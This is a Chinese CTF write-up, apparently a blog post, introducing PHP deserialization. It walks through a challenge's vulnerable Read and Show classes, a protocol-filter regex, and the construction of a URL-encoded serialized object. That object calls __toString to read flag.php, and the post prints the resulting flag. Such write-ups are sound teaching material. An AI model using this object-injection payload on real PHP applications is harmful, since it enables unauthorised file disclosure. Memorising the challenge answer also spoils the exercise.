CTFer成长记录——CTF之Web专题·初识反序列化

发布时间 2023-07-14 17:23:03作者: MiracleWolf

一、题目链接

http://122.114.252.87:1110/index2.php
前置知识:序列化与反序列化
序列化是将变量转换成可保存或传输的字符串实现函数是:serialize();
反序列化是:将字符串转换成变量,是一个逆过程。实现的函数式:unserialize();
序列化:
image
上面的结果是对一个对象的打印,后面是序列化后的结果,也就是把它“拉直”。
反序列化:

点击查看代码
 $b = unserialize(serialize($a));
    var_dump($b);
对应的结果是:

image
只要变量相同,序列化和反序列化的样子是一样的。
序列化后的字符串说明:
image

二、解法步骤

  打开网页发现是php源代码,整个代码可分为三个部分:
点击查看代码 ``` class Read { public function get_file($value)//获取文件名 { $text = base64_encode(file_get_contents($value));//读取文件内容,然后进行base64加密并返回。 return $text; } }//涉及到读文件的操作,可能是一个敏感信息泄露点 ```
点击查看代码
class Show
{
    public $source;
    public $var;
    public $class1;
    public function __construct($name='index.php')
    {
        $this->source = $name;
        echo $this->source.' Welcome'."<br>";    
}
 
    public function __toString()
    {   
        $content = $this->class1->get_file($this->var);//利用点
        echo $content;
        return $content;
    }
 
    public function _show()//过滤函数
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source);
        }
 
    }
 
    public function Change()//过滤函数
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
        }
    }
    public function __get($key){
        $function=$this->$key;
        $this->{$key}();
    }
}
点击查看代码
if(isset($_GET['sid']))
{
    $sid=$_GET['sid'];
    $config=unserialize($_GET['config']);
    $config->$sid;
}
else
{
    $show = new Show('index2.php');
    $show->_show(
}

在第一段代码中,在Read类里发现get_file()这个函数,暗示这是一个敏感信息点;在第二段中,在Show类里发现__toString()函数调用了get_file()这个函数,并且打印$content,阅读代码就知道$content就是文件里的
内容。现在的目的就是使得传入的对象,能够获取该文件的内容,那么这个对象一定是Show类的对象,在Show类中:
$content = $this->class1->get_file($this->var);,这段代码是利用点。get_file()函数只有Read的对象有,因此 $this->class1一定是一个Read的对象,再看,get_file()中的参数$this->var,要求Show的对象的var值是一个文件名,那么假设是flag.php,最后var的值为"flag.php";
经过分析,我们把Show类中的var成员赋值为"flag.php",class需要是一个Read的对象。
那么这样操作:

点击查看代码
$s =new Show;
$r = new Read;
$s->class1 = $r;
echo urlencode(serialize($s))

至此,需要传入的对象参数已经构造好了,最后需要将它转化成url编码,防止传入时一些字符丢失。
最后结果为:O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22var%22%3
Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7D
这个就是要在第三段代码中传入config的值,他经过反序列化后就是我们构造好的$s对象,最后要获取文件内容,就需要调用__toString()函数,那么传入的sid的值为__toString即可。
最后的传参:

点击查看代码
?sid=__toString&config=O%3A4%3A"Show"%3A3%3A%7Bs%3A6%3A"source"%3Bs%3A9%3A"index.php"%3Bs%3A3%3A"var"%3Bs%3A8%3A"flag.php"%3Bs%3A6%3A"class1"%3BO%3A4%3A"Read"%3A0%3A%7B%7D%7D

获取到PD9waHAKJGZsYWcgPSAiZmxhZ3syNTZkN2ZkNi1kYjUxLTQ0YjktOGIyZC04OGUxN2IwODg2ZTl9IjsKPz4=
Base64加密的值,解码得到:
flag = "flag{256d7fd6-db51-44b9-8b2d-88e17b0886e9}";

三、总结

序列化与反序列化就是为了更方便的传输数据。反序列化漏洞也叫对象漏洞,当进行反序列化时,就会自动的调用一些函数,如果传入函数的参数(特指对象的属性)可以被用户控制的话,用户输入一些恶意代码到函数中,从而导致反序列化漏洞。
做题步骤:
​ a>将源代码复制到本地

​ b>注释与属性无关的内容

c>根据需要给属性赋值

​ d>生成序列化数据,通常要urlencode(url编码)